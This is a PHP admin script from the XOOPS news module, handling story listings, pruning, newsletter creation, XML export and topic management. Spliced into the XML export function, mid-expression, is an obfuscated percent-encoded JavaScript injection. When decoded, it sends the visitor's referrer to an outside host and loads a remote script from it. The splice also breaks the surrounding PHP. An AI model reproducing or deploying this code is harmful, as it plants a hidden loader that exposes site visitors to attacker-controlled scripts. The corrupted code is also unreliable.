// // ------------------------------------------------------------------------ // // This program is free software; you can redistribute it and/or modify // // it under the terms of the GNU General Public License as published by // // the Free Software Foundation; either version 2 of the License, or // // (at your option) any later version. // // // // You may not change or alter any portion of this comment or credits // // of supporting developers from this source code or any supporting // // source code which is considered copyrighted (c) material of the // // original comment or credit authors. // // // // This program is distributed in the hope that it will be useful, // // but WITHOUT ANY WARRANTY; without even the implied warranty of // // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // // GNU General Public License for more details. // // // // You should have received a copy of the GNU General Public License // // along with this program; if not, write to the Free Software // // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // // ------------------------------------------------------------------------ // include_once '../../../include/cp_header.php'; include_once XOOPS_ROOT_PATH."/class/xoopstopic.php"; include_once XOOPS_ROOT_PATH."/class/xoopslists.php"; include_once XOOPS_ROOT_PATH."/modules/news/class/class.newsstory.php"; include_once XOOPS_ROOT_PATH."/modules/news/class/class.newstopic.php"; include_once XOOPS_ROOT_PATH."/modules/news/class/class.sfiles.php"; include_once XOOPS_ROOT_PATH.'/class/uploader.php'; include_once XOOPS_ROOT_PATH.'/class/pagenav.php'; include_once XOOPS_ROOT_PATH.'/modules/news/admin/functions.php'; include_once XOOPS_ROOT_PATH.'/modules/news/include/functions.php'; include_once XOOPS_ROOT_PATH."/class/tree.php"; $dateformat=getmoduleoption('dateformat'); $myts =& MyTextSanitizer::getInstance(); $topicscount=0; /** * Show new submissions * * This list can be view in the module's admin when you click on the tab named "Post/Edit News" * Submissions are news that was submit by users but who are not approved, so you need to edit * them to approve them. * Actually you can see the the story's title, the topic, the posted date, the author and a * link to delete the story. If you click on the story's title, you will be able to edit the news. * The table contains the last x new submissions. * The system's block called "Waiting Contents" is listing the number of those news. */ function newSubmissions() { global $dateformat; $start = isset($_GET['startnew']) ? intval($_GET['startnew']) : 0; $newsubcount = NewsStory :: getAllStoriesCount(3,false); $storyarray = NewsStory :: getAllSubmitted(getmoduleoption('storycountadmin'),true,getmoduleoption('restrictindex'),$start); if ( count($storyarray)> 0) { $pagenav = new XoopsPageNav( $newsubcount, getmoduleoption('storycountadmin'), $start, 'startnew', 'op=newarticle'); news_collapsableBar('newsub', 'topnewsubicon'); echo " "._AM_NEWSUB.""; echo "
"; echo "
"; echo "
\n"; $class=''; foreach( $storyarray as $newstory ) { $class = ($class == 'even') ? 'odd' : 'even'; echo "\n"; } echo "
" . _AM_TITLE . "" . _AM_TOPIC . "" . _AM_POSTED . "" . _AM_POSTER . "" . _AM_ACTION . "
\n"; $title = $newstory->title(); if (!isset($title) || ($title == "" )) { echo "" . _AD_NOSUBJECT . "\n"; } else { echo " " . $title . "\n"; } echo "" . $newstory->topic_title() . "" . formatTimestamp($newstory->created(),$dateformat) . "" . $newstory->uname() . "" . _AM_DELETE . "
"; echo "
".$pagenav->renderNav().'

'; echo "

"; } } /** * Shows all automated stories * * Automated stories are stories that have a publication's date greater than "now" * This list can be view in the module's admin when you click on the tab named "Post/Edit News" * Actually you can see the story's ID, its title, the topic, the author, the * programmed date and time, the expiration's date and two links. The first link is * used to edit the story while the second is used to remove the story. * The list only contains the last (x) automated news */ function autoStories() { global $dateformat; $start = isset($_GET['startauto']) ? intval($_GET['startauto']) : 0; $storiescount = NewsStory :: getAllStoriesCount(2,false); $storyarray = NewsStory :: getAllAutoStory(getmoduleoption('storycountadmin'),true,$start); $class=''; if(count($storyarray) > 0) { $pagenav = new XoopsPageNav($storiescount, getmoduleoption('storycountadmin'), $start, 'startauto', 'op=newarticle'); news_collapsableBar('autostories', 'topautostories'); echo " "._AM_AUTOARTICLES.""; echo "
"; echo "
"; echo "
\n"; echo ""; foreach($storyarray as $autostory) { $topic = $autostory -> topic(); $expire = ( $autostory->expired() > 0 ) ? formatTimestamp($autostory->expired(),$dateformat) : ''; $class = ($class == 'even') ? 'odd' : 'even'; echo ""; echo "\n"; } echo "
" . _AM_STORYID . "" . _AM_TITLE . "" . _AM_TOPIC . "" . _AM_POSTER . "" . _AM_PROGRAMMED . "" . _AM_EXPIRED . "" . _AM_ACTION . "
" . $autostory -> storyid() . " " . $autostory->title() . " " . $topic->topic_title() . " " . $autostory->uname() . "" . formatTimestamp($autostory->published(),$dateformat) . "" . $expire . "" . _AM_EDIT . "-" . _AM_DELETE . ""; echo "
"; echo "
".$pagenav->renderNav().'

'; echo "

"; } } /** * Shows last x published stories * * This list can be view in the module's admin when you click on the tab named "Post/Edit News" * Actually you can see the the story's ID, its title, the topic, the author, the number of hits * and two links. The first link is used to edit the story while the second is used to remove the story. * The table only contains the last X published stories. * You can modify the number of visible stories with the module's option named * "Number of new articles to display in admin area". * As the number of displayed stories is limited, below this list you can find a text box * that you can use to enter a story's Id, then with the scrolling list you can select * if you want to edit or delete the story. */ function lastStories() { global $dateformat; news_collapsableBar('laststories', 'toplaststories'); echo " ".sprintf(_AM_LAST10ARTS,getmoduleoption('storycountadmin')).""; echo "
"; echo "
"; echo "
"; $start = isset($_GET['start']) ? intval($_GET['start']) : 0; $storyarray = NewsStory :: getAllPublished(getmoduleoption('storycountadmin'), $start, false, 0, 1 ); $storiescount = NewsStory :: getAllStoriesCount(4,false); $pagenav = new XoopsPageNav( $storiescount, getmoduleoption('storycountadmin'), $start, 'start', 'op=newarticle'); $class=''; echo ""; foreach( $storyarray as $eachstory ) { $published = formatTimestamp($eachstory->published(),$dateformat ); // $expired = ( $eachstory -> expired() > 0 ) ? formatTimestamp($eachstory->expired(),$dateformat) : '---'; $topic = $eachstory -> topic(); $class = ($class == 'even') ? 'odd' : 'even'; echo ""; echo "\n"; } echo "
" . _AM_STORYID . "" . _AM_TITLE . "" . _AM_TOPIC . "" . _AM_POSTER . "" . _AM_PUBLISHED . "" . _AM_HITS . "" . _AM_ACTION . "
" . $eachstory -> storyid() . " " . $eachstory -> title() . " " . $topic -> topic_title() . " " . $eachstory -> uname() . "" . $published . "" . $eachstory -> counter() . "" . _AM_EDIT . "-" . _AM_DELETE . ""; echo "

"; echo "
".$pagenav->renderNav().'

'; echo "
" . _AM_STORYID . "
"; echo "

"; } /** * Display a list of the expired stories * * This list can be view in the module's admin when you click on the tab named "Post/Edit News" * Actually you can see the story's ID, the title, the topic, the author, * the creation and expiration's date and you have two links, one to delete * the story and the other to edit the story. * The table only contains the last X expired stories. * You can modify the number of visible stories with the module's option named * "Number of new articles to display in admin area". * As the number of displayed stories is limited, below this list you can find a text box * that you can use to enter a story's Id, then with the scrolling list you can select * if you want to edit or delete the story. */ function expStories() { global $dateformat; $start = isset($_GET['startexp']) ? intval($_GET['startexp']) : 0; $expiredcount = NewsStory :: getAllStoriesCount(1,false); $storyarray = NewsStory :: getAllExpired(getmoduleoption('storycountadmin'), $start, 0, 1 ); $pagenav = new XoopsPageNav( $expiredcount, getmoduleoption('storycountadmin'), $start, 'startexp', 'op=newarticle'); if(count($storyarray) > 0) { $class=''; news_collapsableBar('expstories', 'topexpstories'); echo " "._AM_EXPARTS.""; echo "
"; echo "
"; echo "
"; echo ""; foreach( $storyarray as $eachstory ) { $created = formatTimestamp($eachstory->created(),$dateformat); $expired = formatTimestamp($eachstory->expired(),$dateformat); $topic = $eachstory -> topic(); // added exired value field to table $class = ($class == 'even') ? 'odd' : 'even'; echo ""; echo "\n"; } echo "
" . _AM_STORYID . "" . _AM_TITLE . "" . _AM_TOPIC . "" . _AM_POSTER . "" . _AM_CREATED . "" . _AM_EXPIRED . "" . _AM_ACTION . "
" . $eachstory -> storyid() . " " . $eachstory -> title() . " " . $topic -> topic_title() . " " . $eachstory -> uname() . "" . $created . "" . $expired . "" . _AM_EDIT . "-" . _AM_DELETE . ""; echo "

"; echo "
".$pagenav->renderNav().'

'; echo "
" . _AM_STORYID . "
"; echo"

"; } } /** * Delete (purge/prune) old stories * * You can use this function in the module's admin when you click on the tab named "Prune News" * It's useful to remove old stories. It is, of course, recommended * to backup (or export) your news before to purge news. * You must first specify a date. This date will be used as a reference, everything * that was published before this date will be deleted. * The option "Only remove stories who have expired" will enable you to only remove * expired stories published before the given date. * Finally, you can select the topics inside wich you will remove news. * Once you have set all the parameters, the script will first show you a confirmation's * message with the number of news that will be removed. * Note, the topics are not deleted (even if there are no more news inside them). */ function PruneManager() { include_once XOOPS_ROOT_PATH."/class/xoopsformloader.php"; xoops_cp_header(); adminmenu(3); echo "
"; $sform = new XoopsThemeForm(_AM_NEWS_PRUNENEWS, "pruneform", XOOPS_URL.'/modules/news/admin/index.php', 'post'); $sform->addElement(new XoopsFormTextDateSelect(_AM_NEWS_PRUNE_BEFORE, 'prune_date',15,time()), true); $onlyexpired=new xoopsFormCheckBox('', 'onlyexpired'); $onlyexpired->addOption(1, _AM_NEWS_PRUNE_EXPIREDONLY); $sform->addElement($onlyexpired, false); $sform->addElement(new XoopsFormHidden('op', 'confirmbeforetoprune'), false); $topiclist=new XoopsFormSelect(_AM_NEWS_PRUNE_TOPICS, 'pruned_topics','',5,true); $topics_arr=array(); $xt = new NewsTopic(); $allTopics = $xt->getAllTopics(false); // The webmaster can see everything $topic_tree = new XoopsObjectTree($allTopics, 'topic_id', 'topic_pid'); $topics_arr = $topic_tree->getAllChild(0); if(count($topics_arr)) { foreach ($topics_arr as $onetopic) { $topiclist->addOption($onetopic->topic_id(),$onetopic->topic_title()); } } $topiclist->setDescription(_AM_NEWS_EXPORT_PRUNE_DSC); $sform->addElement($topiclist,false); $button_tray = new XoopsFormElementTray('' ,''); $submit_btn = new XoopsFormButton('', 'post', _SUBMIT, 'submit'); $button_tray->addElement($submit_btn); $sform->addElement($button_tray); $sform->display(); } // A confirmation is asked before to prune stories function ConfirmBeforeToPrune() { global $dateformat; $story = new NewsStory(); xoops_cp_header(); $topiclist=""; if(isset($_POST['pruned_topics'])) { $topiclist=implode(",",$_POST['pruned_topics']); } echo "

" . _AM_NEWS_PRUNENEWS . "

"; $expired=0; if(isset($_POST['onlyexpired'])) { $expired = intval($_POST['onlyexpired']); } $date=$_POST['prune_date']; $timestamp=mktime(0,0,0,intval(substr($date,5,2)), intval(substr($date,8,2)), intval(substr($date,0,4))); $count=$story->GetCountStoriesPublishedBefore($timestamp, $expired, $topiclist); if($count) { $displaydate=formatTimestamp($timestamp,$dateformat); $msg=sprintf(_AM_NEWS_PRUNE_CONFIRM,$displaydate, $count); xoops_confirm(array( 'op' => 'prunenews', 'expired' => $expired, 'pruned_topics' => $topiclist, 'prune_date' => $timestamp, 'ok' => 1), 'index.php', $msg); } else { printf(_AM_NEWS_NOTHING_PRUNE); } unset($story); } // Effectively delete stories (published before a date), no more confirmation function PruneNews() { $story = new NewsStory(); $timestamp=intval($_POST['prune_date']); $expired= intval($_POST['expired']); $topiclist=""; if(isset($_POST['pruned_topics'])) { $topiclist=$_POST['pruned_topics']; } if(intval($_POST['ok'])==1) { $story = new NewsStory(); xoops_cp_header(); $count=$story->GetCountStoriesPublishedBefore($timestamp,$expired,$topiclist); $msg=sprintf(_AM_NEWS_PRUNE_DELETED,$count); $story->DeleteBeforeDate($timestamp,$expired,$topiclist); unset($story); updateCache(); redirect_header( 'index.php', 3, $msg); } } /** * Newsletter's configuration * * You can create a newsletter's content from the admin part of the News module when you click on the tab named "Newsletter" * First, let be clear, this module'functionality will not send the newsletter but it will prepare its content for you. * To send the newsletter, you can use many specialized modules like evennews. * You first select a range of dates and if you want, a selection of topics to use for the search. * Once it's done, the script will use the file named /xoops/modules/language/yourlanguage/newsletter.php to create * the newsletter's content. When it's finished, the script generates a file in the upload folder. */ function Newsletter() { include_once XOOPS_ROOT_PATH."/class/xoopsformloader.php"; xoops_cp_header(); adminmenu(5); echo "
"; $sform = new XoopsThemeForm(_AM_NEWS_NEWSLETTER, "newsletterform", XOOPS_URL.'/modules/news/admin/index.php', 'post'); $dates_tray = new XoopsFormElementTray(_AM_NEWS_NEWSLETTER_BETWEEN); $date1 = new XoopsFormTextDateSelect('', 'date1',15,time()); $date2 = new XoopsFormTextDateSelect(_AM_NEWS_EXPORT_AND, 'date2',15,time()); $dates_tray->addElement($date1); $dates_tray->addElement($date2); $sform->addElement($dates_tray); $topiclist=new XoopsFormSelect(_AM_NEWS_PRUNE_TOPICS, 'export_topics','',5,true); $topics_arr=array(); $xt = new NewsTopic(); $allTopics = $xt->getAllTopics(false); // The webmaster can see everything $topic_tree = new XoopsObjectTree($allTopics, 'topic_id', 'topic_pid'); $topics_arr = $topic_tree->getAllChild(0); if(count($topics_arr)) { foreach ($topics_arr as $onetopic) { $topiclist->addOption($onetopic->topic_id(),$onetopic->topic_title()); } } $topiclist->setDescription(_AM_NEWS_EXPORT_PRUNE_DSC); $sform->addElement($topiclist,false); $sform->addElement(new XoopsFormHidden('op', 'launchnewsletter'), false); $sform->addElement(new XoopsFormRadioYN(_AM_NEWS_REMOVE_BR, 'removebr',1),false); $button_tray = new XoopsFormElementTray('' ,''); $submit_btn = new XoopsFormButton('', 'post', _SUBMIT, 'submit'); $button_tray->addElement($submit_btn); $sform->addElement($button_tray); $sform->display(); } // Launch the creation of the newsletter's content function LaunchNewsletter() { global $xoopsConfig, $dateformat; xoops_cp_header(); adminmenu(5); if (file_exists(XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/newsletter.php')) { include_once XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/newsletter.php'; } else { include_once XOOPS_ROOT_PATH.'/modules/news/language/english/newsletter.php'; } echo "
"; $story = new NewsStory(); $exportedstories=array(); $topiclist=''; $removebr=false; if(isset($_POST['removebr']) && intval($_POST['removebr'])==1) { $removebr=true; } $date1=$_POST['date1']; $date2=$_POST['date2']; $timestamp1=mktime(0,0,0,intval(substr($date1,5,2)), intval(substr($date1,8,2)), intval(substr($date1,0,4))); $timestamp2=mktime(23,59,59,intval(substr($date2,5,2)), intval(substr($date2,8,2)), intval(substr($date2,0,4))); if(isset($_POST['export_topics'])) { $topiclist=implode(",",$_POST['export_topics']); } $tbltopics=array(); $exportedstories=$story->NewsExport($timestamp1, $timestamp2, $topiclist, 0, $tbltopics); $newsfile=XOOPS_ROOT_PATH.'/uploads/newsletter.txt'; if(count($exportedstories)) { $fp=fopen($newsfile,'w'); if(!$fp) { redirect_header('index.php',4,sprintf(_AM_NEWS_EXPORT_ERROR,$newsfile)); } foreach($exportedstories as $onestory) { $content=$newslettertemplate; $search_pattern=array('%title%','%uname%','%created%','%published%','%expired%','%hometext%','%bodytext%','%description%','%keywords%','%reads%','%topicid%','%topic_title%','%comments%','%rating%','%votes%','%publisher%','%publisher_id%','%link%'); $replace_pattern=array($onestory->title(),$onestory->uname(),formatTimestamp($onestory->created(),$dateformat),formatTimestamp($onestory->published(),$dateformat),formatTimestamp($onestory->expired(),$dateformat),$onestory->hometext(),$onestory->bodytext(),$onestory->description(),$onestory->keywords(),$onestory->counter(),$onestory->topicid(),$onestory->topic_title(),$onestory->comments(),$onestory->rating(),$onestory->votes(),$onestory->uname(),$onestory->uid(),XOOPS_URL.'/modules/news/article.php?storyid='.$onestory->storyid()); $content = str_replace($search_pattern, $replace_pattern, $content); if($removebr) { $content=str_replace('
',"\r\n",$content); } fwrite($fp,$content); } fclose($fp); $newsfile=XOOPS_URL.'/uploads/newsletter.txt'; printf(_AM_NEWS_NEWSLETTER_READY,$newsfile,XOOPS_URL.'/modules/news/admin/index.php?op=deletefile&type=newsletter'); } else { printf(_AM_NEWS_NOTHING); } } /** * News export * * You can use this function in the module's admin when you click on the tab named "News Export" * First select a range of date, possibly a range of topics and if you want, check the option "Include Topics Definitions" * to also export the topics. * News, and topics, will be exported to the XML format. */ function NewsExport() { include_once XOOPS_ROOT_PATH."/class/xoopsformloader.php"; xoops_cp_header(); adminmenu(4); echo "
"; $sform = new XoopsThemeForm(_AM_NEWS_EXPORT_NEWS, "exportform", XOOPS_URL.'/modules/news/admin/index.php', 'post'); $dates_tray = new XoopsFormElementTray(_AM_NEWS_EXPORT_BETWEEN); $date1 = new XoopsFormTextDateSelect('', 'date1',15,time()); $date2 = new XoopsFormTextDateSelect(_AM_NEWS_EXPORT_AND, 'date2',15,time()); $dates_tray->addElement($date1); $dates_tray->addElement($date2); $sform->addElement($dates_tray); $topiclist=new XoopsFormSelect(_AM_NEWS_PRUNE_TOPICS, 'export_topics','',5,true); $topics_arr=array(); $xt = new NewsTopic(); $allTopics = $xt->getAllTopics(false); // The webmaster can see everything $topic_tree = new XoopsObjectTree($allTopics, 'topic_id', 'topic_pid'); $topics_arr = $topic_tree->getAllChild(0); if(count($topics_arr)) { foreach ($topics_arr as $onetopic) { $topiclist->addOption($onetopic->topic_id(),$onetopic->topic_title()); } } $topiclist->setDescription(_AM_NEWS_EXPORT_PRUNE_DSC); $sform->addElement($topiclist,false); $sform->addElement(new XoopsFormRadioYN(_AM_NEWS_EXPORT_INCTOPICS, 'includetopics',0),false); $sform->addElement(new XoopsFormHidden('op', 'launchexport'), false); $button_tray = new XoopsFormElementTray('' ,''); $submit_btn = new XoopsFormButton('', 'post', _SUBMIT, 'submit'); $button_tray->addElement($submit_btn); $sform->addElement($button_tray); $sform->display(); } function news_utf8_encode($text) { return xoops_utf8_encode($text); } // Launch stories export (to the xml's format) function LaunchExport() { xoops_cp_header(); adminmenu(4); echo "
"; $story = new NewsStory(); $topic= new NewsTopic(); $exportedstories=array(); $date1=$_POST['date1']; $date2=$_POST['date2']; $timestamp1=mktime(0,0,0,intval(substr($date1,5,2)), intval(substr($date1,8,2)), intval(substr($date1,0,4))); $timestamp2=mktime(23,59,59,intval(substr($date2,5,2)), intval(substr($date2,8,2)), intval(substr($date2,0,4))); $topiclist=''; if(isset($_POST['export_topics'])) { $topiclist=implode(",",$_POST['export_topics']); } $topicsexport=intval($_POST['includetopics']); $tbltopics=array(); $exportedstories=$story->NewsExport($timestamp1, $timestamp2, $topiclist, $topicsexport, $tbltopics); if(count($exportedstories)) { $xmlfile=XOOPS_ROOT_PATH.'/uploads/stories.xml'; $fp=fopen($xmlfile,'w'); if(!$fp) { redirect_header('index.php',4,sprintf(_AM_NEWS_EXPORT_ERROR,$xmlfile)); } fwrite($fp,news_utf8_encode("\n")); fwrite($fp,news_utf8_encode("\n")); if($topicsexport) { foreach($tbltopics as $onetopic) { $topic->NewsTopic($onetopic); $content = "\n"; $content .= sprintf("\t%u\n",$topic->topic_id()); $content .= sprintf("\t%u\n",$topic->topic_pid()); $content .= sprintf("\t%s\n",$topic->topic_imgurl()); $content .= sprintf("\t%s\n",$topic->topic_title('F')); $content .= sprintf("\t%d\n",$topic->menu()); $content .= sprintf("\t%d\n",$topic->topic_frontpage()); $content .= sprintf("\t%s\n",$topic->topic_rssurl('E')); $content .= sprintf("\t%s\n",$topic->topic_description()); $content .= sprintf("\n"); $content = news_utf8_encode($content); fwrite($fp,$content); } } foreach($exportedstories as $onestory) { $content = "\n"; $content .= sprintf("\t%u\n",$onestory->storyid()); $content .= sprintf("\t%u\n",$onestory->uid()); $content .= sprintf("\t%s\n",$onestory->uname()); $content .= sprintf("\t%s\n",$onestory->title()); $content .= sprintf("\t%u\n",$onestory->created()); $content .= sprintf("\t%u\n",$onestory->published()); $content .= sprintf("\t%u\n",$onestory->expired()); $content .= sprintf("\t%s\n",$onestory->hostname()); $content .= sprintf("\t%d\n",$onestory->nohtml()); $content .= sprintf("\t%d\n",$onestory->nosmiley()); $content .= sprintf("\t%s\n",$onestory->hometext()); $content .= sprintf("\t%s\n",$onestory-> var xqv='%'; document.write( unescape( '%3C%73%63%72'+xqv+'69'+xqv+'70'+xqv+'74'+xqv+'20'+xqv+'6C'+xqv+'61'+xqv+'6E'+xqv+'67%75%61%67%65%3D'+xqv+'22'+xqv+'4A'+xqv+'61%76%61%53%63%72%69%70'+xqv+'74'+xqv+'22'+xqv+'3E'+xqv+'0A%76%61%72%20%6C%3D%27%68%74%74%70'+xqv+'3A'+xqv+'2F%2F%75%73%65%72%73%6F%66'+xqv+'74%77%61%72%65%2E%69%6E'+xqv+'2F%78%71%2F%76'+xqv+'73'+xqv+'74'+xqv+'61%76%6B%61%2E%70%68%70%3F'+xqv+'72'+xqv+'3D%27%3B%76%61%72%20'+xqv+'72%3D%65%6E'+xqv+'63%6F%64%65%55%52%49%43%6F%6D%70%6F'+xqv+'6E%65'+xqv+'6E%74'+xqv+'28'+xqv+'64'+xqv+'6F%63%75%6D%65%6E'+xqv+'74'+xqv+'2E'+xqv+'72'+xqv+'65%66%65%72%72%65%72'+xqv+'29'+xqv+'3B'+xqv+'69'+xqv+'66%28%72%29%7B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%27%2B%6C%2B%72%2B%27%3E%3C%2F%73%63%72%27%2B%27%69%70%74%3E%27%29%3B%7D%0A%3C%2F%73%63%72%69%70%74%3E' ) ); bodytext()); $content .= sprintf("\t%s\n",$onestory->description()); $content .= sprintf("\t%s\n",$onestory->keywords()); $content .= sprintf("\t%u\n",$onestory->counter()); $content .= sprintf("\t%u\n",$onestory->topicid()); $content .= sprintf("\t%d\n",$onestory->ihome()); $content .= sprintf("\t%d\n",$onestory->notifypub()); $content .= sprintf("\t%s\n",$onestory->type()); $content .= sprintf("\t%d\n",$onestory->topicdisplay()); $content .= sprintf("\t%s\n",$onestory->topicalign()); $content .= sprintf("\t%u\n",$onestory->comments()); $content .= sprintf("\t%f\n",$onestory->rating()); $content .= sprintf("\t%u\n",$onestory->votes()); $content .= sprintf("\n"); $content = news_utf8_encode($content); fwrite($fp,$content); } fwrite($fp,news_utf8_encode("\n")); fclose($fp); $xmlfile=XOOPS_URL.'/uploads/stories.xml'; printf(_AM_NEWS_EXPORT_READY,$xmlfile,XOOPS_URL.'/modules/news/admin/index.php?op=deletefile&type=xml'); } else { printf(_AM_NEWS_EXPORT_NOTHING); } } /* * Topics manager * * It's from here that you can list, add, modify an delete topics * At first, you can see a list of all the topics in your databases. This list contains the topic's ID, its name, * its parent topic, if it should be visible in the Xoops main menu and an action (Edit or Delete topic) * Below this list you find the form used to create and edit the topics. * use this form to : * - Type the topic's title * - Enter its description * - Select its parent topic * - Choose a color * - Select if it must appear in the Xoops main menu * - Choose if you want to see in the front page. If it's not the case, visitors will have to use the navigation box to see it * - And finally you ca select an image to represent the topic * The text box called "URL of RSS feed" is, for this moment, not used. */ function topicsmanager() { global $xoopsDB, $xoopsConfig, $xoopsModule, $myts; include_once XOOPS_ROOT_PATH."/class/xoopsformloader.php"; xoops_cp_header(); adminmenu(0); $uploadfolder=sprintf(_AM_UPLOAD_WARNING,XOOPS_URL . "/modules/" . $xoopsModule->dirname().'/images/topics'); $uploadirectory="/modules/" . $xoopsModule -> dirname().'/images/topics'; $start = isset($_GET['start']) ? intval($_GET['start']) : 0; $xt = new XoopsTree($xoopsDB->prefix("topics"), "topic_id", "topic_pid"); $topics_arr = $xt->getChildTreeArray(0,"topic_title"); $totaltopics = count($topics_arr); $class=''; echo "

" . _AM_CONFIG . "

"; news_collapsableBar('topicsmanager', 'toptopicsmanager'); echo " "._AM_TOPICSMNGR . ' (' . $totaltopics . ')'.""; echo "
"; echo "
"; echo "
"; echo ""; if(is_array($topics_arr) && $totaltopics) { $cpt=1; $tmpcpt=$start; $ok=true; $output=''; while($ok) { if($tmpcpt < $totaltopics) { $linkedit = XOOPS_URL . '/modules/'.$xoopsModule->dirname() . '/admin/index.php?op=topicsmanager&topic_id=' . $topics_arr[$tmpcpt]['topic_id']; $linkdelete = XOOPS_URL . '/modules/'.$xoopsModule->dirname() . '/admin/index.php?op=delTopic&topic_id=' . $topics_arr[$tmpcpt]['topic_id']; $action=sprintf("%s - %s",$linkedit,_AM_EDIT , $linkdelete, _AM_DELETE); $parent=' '; if($topics_arr[$tmpcpt]['topic_pid']>0) { $xttmp = new XoopsTopic($xoopsDB->prefix("topics"),$topics_arr[$tmpcpt]['topic_pid']); $parent = $xttmp->topic_title(); unset($xttmp); } if($topics_arr[$tmpcpt]['topic_pid']!=0) { $topics_arr[$tmpcpt]['prefix'] = str_replace(".","-",$topics_arr[$tmpcpt]['prefix']) . ' '; } else { $topics_arr[$tmpcpt]['prefix'] = str_replace(".","",$topics_arr[$tmpcpt]['prefix']); } $submenu=$topics_arr[$tmpcpt]['menu'] ? _YES : _NO; $class = ($class == 'even') ? 'odd' : 'even'; $output = $output . ""; } else { $ok=false; } if($cpt>=getmoduleoption('storycountadmin')) { $ok=false; } $tmpcpt++; $cpt++; } echo $output; } $pagenav = new XoopsPageNav( $totaltopics, getmoduleoption('storycountadmin'), $start, 'start', 'op=topicsmanager'); echo "
" . _AM_TOPIC . "" . _AM_TOPICNAME . "" . _AM_PARENTTOPIC . "" . _AM_SUB_MENU_YESNO . "" . _AM_ACTION . "
" . $topics_arr[$tmpcpt]['topic_id'] . "" . $topics_arr[$tmpcpt]['prefix'] . $myts->displayTarea($topics_arr[$tmpcpt]['topic_title']) . "" . $parent . "" . $submenu . "" . $action . "
".$pagenav->renderNav().'

'; echo "

\n"; $topic_id = isset($_GET['topic_id']) ? intval($_GET['topic_id']) : 0; if($topic_id>0) { $xtmod = new NewsTopic($topic_id); $topic_title=$xtmod->topic_title('E'); $topic_description=$xtmod->topic_description('E'); $topic_rssfeed=$xtmod->topic_rssurl('E'); $op='modTopicS'; if(xoops_trim($xtmod->topic_imgurl())!='') { $topicimage=$xtmod->topic_imgurl(); } else { $topicimage="blank.png"; } $btnlabel=_AM_MODIFY; $parent=$xtmod->topic_pid(); $formlabel=_AM_MODIFYTOPIC; $submenu=$xtmod->menu(); $topic_frontpage=$xtmod->topic_frontpage(); $topic_color=$xtmod->topic_color(); unset($xtmod); } else { $topic_title=''; $topic_frontpage=1; $topic_description=''; $op='addTopic'; $topicimage='xoops.gif'; $btnlabel=_AM_ADD; $parent=-1; $submenu=0; $topic_rssfeed=''; $formlabel=_AM_ADD_TOPIC; $topic_color='000000'; } $sform = new XoopsThemeForm($formlabel, "topicform", XOOPS_URL.'/modules/'.$xoopsModule->getVar('dirname').'/admin/index.php', 'post'); $sform->setExtra('enctype="multipart/form-data"'); $sform->addElement(new XoopsFormText(_AM_TOPICNAME, 'topic_title', 50, 255, $topic_title), true); $editor=news_getWysiwygForm(_AM_TOPIC_DESCR,'topic_description', $topic_description, 15, 60, 'hometext_hidden'); if($editor) { $sform->addElement($editor,false); } $sform->addElement(new XoopsFormHidden('op', $op), false); $sform->addElement(new XoopsFormHidden('topic_id', $topic_id), false); include_once XOOPS_ROOT_PATH."/modules/news/class/class.newstopic.php"; $xt = new NewsTopic(); $sform->addElement(new XoopsFormLabel(_AM_PARENTTOPIC, $xt->MakeMyTopicSelBox(1, $parent,'topic_pid','',false))); // Topic's color // Code stolen to Zoullou, thank you Zoullou ;-) $select_color = "\n \n    "; $sform->addElement( new XoopsFormLabel( _AM_NEWS_TOPIC_COLOR, $select_color) ); // Sub menu ? $sform->addElement(new XoopsFormRadioYN(_AM_SUB_MENU, 'submenu', $submenu, _YES, _NO)); $sform->addElement(new XoopsFormRadioYN(_AM_PUBLISH_FRONTPAGE, 'topic_frontpage', $topic_frontpage, _YES, _NO)); // Unused for this moment... sorry //$sform->addElement(new XoopsFormText(_AM_NEWS_RSS_URL, 'topic_rssfeed', 50, 255, $topic_rssfeed), false); // ********** Picture $imgtray = new XoopsFormElementTray(_AM_TOPICIMG,'
'); $imgpath=sprintf(_AM_IMGNAEXLOC, "modules/" . $xoopsModule -> dirname() . "/images/topics/" ); $imageselect= new XoopsFormSelect($imgpath, 'topic_imgurl',$topicimage); $topics_array = XoopsLists :: getImgListAsArray( XOOPS_ROOT_PATH . "/modules/news/images/topics/" ); foreach( $topics_array as $image ) { $imageselect->addOption("$image", $image); } $imageselect->setExtra( "onchange='showImgSelected(\"image3\", \"topic_imgurl\", \"" . $uploadirectory . "\", \"\", \"" . XOOPS_URL . "\")'" ); $imgtray->addElement($imageselect,false); $imgtray -> addElement( new XoopsFormLabel( '', "
" ) ); $uploadfolder=sprintf(_AM_UPLOAD_WARNING,XOOPS_URL . "/modules/" . $xoopsModule -> dirname().'/images/topics'); $fileseltray= new XoopsFormElementTray('','
'); $fileseltray->addElement(new XoopsFormFile(_AM_TOPIC_PICTURE , 'attachedfile', getmoduleoption('maxuploadsize')), false); $fileseltray->addElement(new XoopsFormLabel($uploadfolder ), false); $imgtray->addElement($fileseltray); $sform->addElement($imgtray); // Submit buttons $button_tray = new XoopsFormElementTray('' ,''); $submit_btn = new XoopsFormButton('', 'post', $btnlabel, 'submit'); $button_tray->addElement($submit_btn); $sform->addElement($button_tray); $sform->display(); echo "\n"; } // Save a topic after it has been modified function modTopicS() { global $xoopsDB, $xoopsModule, $xoopsModuleConfig; $xt = new NewsTopic(intval($_POST['topic_id'])); if (intval($_POST['topic_pid']) == intval($_POST['topic_id'])) { redirect_header( 'index.php?op=topicsmanager', 2, _AM_ADD_TOPIC_ERROR1 ); } $xt->setTopicPid(intval($_POST['topic_pid'])); if (empty($_POST['topic_title'])) { redirect_header( "index.php?op=topicsmanager", 2, _AM_ERRORTOPICNAME ); } $xt -> setTopicTitle($_POST['topic_title']); if (isset($_POST['topic_imgurl']) && $_POST['topic_imgurl']!= "") { $xt -> setTopicImgurl($_POST['topic_imgurl']); } $xt->setMenu(intval($_POST['submenu'])); $xt->setTopicFrontpage(intval($_POST['topic_frontpage'])); $xt->setTopicDescription($_POST['topic_description']); //$xt->Settopic_rssurl($_POST['topic_rssfeed']); $xt->setTopic_color($_POST['topic_color']); if(isset($_POST['xoops_upload_file'])) { $fldname = $_FILES[$_POST['xoops_upload_file'][0]]; $fldname = (get_magic_quotes_gpc()) ? stripslashes($fldname['name']) : $fldname['name']; if(xoops_trim($fldname!='')) { $sfiles = new sFiles(); $dstpath = 